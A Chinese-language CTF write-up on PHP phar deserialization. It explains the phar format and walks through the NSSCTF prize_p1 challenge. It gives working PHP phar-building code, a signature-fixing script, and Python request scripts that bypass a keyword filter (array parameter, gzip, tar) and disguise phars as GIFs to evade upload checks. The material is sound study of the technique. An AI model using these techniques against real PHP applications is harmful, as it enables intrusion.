这篇文章来总结一下phar反序列化
利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,可以拓展php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
phar文件结构
在学习攻击手法之前要先了解一下phar的文件结构。
1. a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾
利用条件
代码语言:javascript复制 1.phar可以上传到服务器端(存在文件上传)
2.要有可用的魔术方法作为“跳板”。
3.操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
demo演示
生成php.ini中需要phar.readonly=off
代码语言:javascript复制 <?php
/* 文件名 */
$phar = new phar("a.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("<?php __HALT_COMPILER(); ?>");
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
$phar->addFromString("test2.txt","test2");
$phar->stopBuffering();
?>
php中相当一部分的文件系统函数在通过phar://伪协议解析文件时,都会将meta-data进行反序列化,
代码语言:javascript复制 <?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
$filename = 'phar://phar.phar/test.txt';
定义了一个名为$filename
的变量,并将其设置为phar://phar.phar/test.txt
,即使用Phar协议来指定一个位于Phar文件内的文件test.txt
。file_get_contents($filename);
使用file_get_contents
函数读取$filename
指定的文件内容。由于$filename
是使用Phar协议指定的,因此file_get_contents
会从phar.phar
这个Phar文件中获取test.txt
文件的内容。
将phar伪装为其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么就可以通过添加任意的文件头 修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这里是将gif伪装为gif,通过这种方法可以绕过相当一部分的上传检测。
具体利用
有一说一,虽然看了一些文章来了解phar反序列化的作用原理,但是由于没有具体做题以至于对这个反序列化还是一知半解,甚至连怎么做都不知道,不过后来看了bilala师傅的wp才知道该如何下手做。
接下来以nssctf里面的prize_p1为例进行演示。
源代码
代码语言:javascript复制 <META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}
class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
首先是一个
getflag
类,内容就是输出$FLAG
,触发条件为__destruct
; __destruct是析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。 第二个类是A
,作用有两个,一个是写文件(file_put_contents),一个是读文件(file_get_contents),写入数据和读取对象都是POST[0]
由于正则匹配对flag有过滤,所以这个不能直接去触发getflag,那么去A类里面找一找,任意文件写入 任意文件读取 类,可以考虑用phar反序列化,
知识点补充
通过gc机制触发__destruct
在PHP中,正常触发析构函数(__destruct)有三种方法:
①程序正常结束
②主动调用unset($aa)
③将原先指向类的变量取消对类的引用,即$aa = 其他值;
前两种很好理解,主要来讲讲第三种PHP中的垃圾回收Garbage collection
机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数,可以通过取消原本对getflag的应用,从而出发对他的析构函数。
php异常
PHP中的错误级别:
代码语言:javascript复制 致命错误 E_ERROR, 语法错误 E_PARSE, 警告错误 E_WARNING, 通知错误 E_NOTICE
其中前两种会导致程序异常退出(中止),所以程序本该释放内存等这些操作也就无法完成了,也就无法触发析构函数 而后两种只是抛出异常,但仍会继续执行程序
数组绕过preg_match
在题中POST[0]
传入数组即可绕过关键字检测,就可以直接写入phar文件的内容了,无需对phar文件做额外处理,然后直接获取flag
phar://支持的后缀
除了.phar
可以用phar://读取,gzip
bzip2
tar
zip
这四个后缀同样也支持phar://读取
guoke师傅的文章
所以在此题中,可以对phar.phar
文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。
思路
先传入构造的phar文件内容,但是在传入时我们需要先绕过preg_match的检测(数组绕过或者tar,gzip),传入后我们再利用phar://tmp/a.txt
读取文件。读取时,会反序列化其中的metadata数据(我们构造的数据),在反序列化a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
时,又会因为类被取消引用从而触发GC,从而触发getflag类的析构函数,从而获取flag
制作phar文件
操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag
修改phar文件
但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;}
<?php
class getflag{
}
$a = new getflag();
$a = array(0=>$a,1=>null);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件(随便填)
//签名自动计算
$phar->stopBuffering();
?>
注意修改配置文件
php.ini
中的phar的readonly
为off
并去掉这行前边的分号
用16进制编辑器进行修改,修改为30,这样meta-data就会变为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}了
注意不要用记事本直接进行修改,用记事本进行修改的话,修改的数字连同后面的对应的签名都会被修改。
修改phar签名
phar文件时修改完成了,但是这个phar文件并不是完好的,因为数据与后面的签名时对应不上的。这里就需要通过手动进行修改。
脚本
代码语言:javascript复制 from hashlib import sha1
with open("phar.phar",'rb') as f:
text=f.read()
main=text[:-28] #正文部分(除去最后28字节)
end=text[-8:] #最后八位也是不变的
new_sign=sha1(main).digest()
new_phar=main new_sign end
open("phar.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件
数组绕过
完成上述的操作可以获得一个meta-data部分存在可控代码的phar文件,在POST[0]时传入数组即可
脚本
代码语言:javascript复制import requests
import re
url="http://1.14.71.254:28517/"
### 写入phar文件
with open("phar.phar",'rb') as f:
data1={'0[]':f.read()} #传数组绕过,值就是phar.phar文件的内容
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
res1 = requests.post(url=url, params=param1,data=data1)
### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF{.*?}').findall(res2.text)
print(flag)
gzip绕过
先获得一个meta-data部分存在可控代码的phar文件,接着执行gzip phar.phar
对这个文件进行压缩,接着利用数组绕过的脚本上传即可,注意修改文件名
当然,利用脚本直接完成gzip压缩和后面一系列操作也是可以的。
脚本
代码语言:javascript复制import requests
import re
import gzip
url="http://1.14.71.254:28517/"
### 先将phar文件变成gzip文件
with open("phar.phar",'rb') as f1:
phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
phar_zip.writelines(f1) #将phar文件的二进制流写入
phar_zip.close()
###写入gzip文件
with open("gzip.zip",'rb') as f2:
data1={0:f2.read()} #利用gzip后全是乱码绕过
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
p1 = requests.post(url=url, params=param1,data=data1)
### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF{.*?}').findall(p2.text)
print(flag)
tar绕过
先新建一个.phar
文件夹,在文件夹中新建.metadata
文件,内容直接写入a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
将文件夹拖入Linux中,tar -cf tartest.tar .phar/
生成新文件后再对新文件gzip
一下得到tartest.tar.gz
文件,再POST这个文件的内容,再读取获得flag
.phar
在Linux中显示为隐藏文件,所以拖入后可能会看不见,利用ls -al
可以看到
参考资料
https://paper.seebug.org/680/#21-phar
https://bilala.gitee.io/2022/04/01/prize1/
https://guokeya.github.io/post/uxwHLckwx/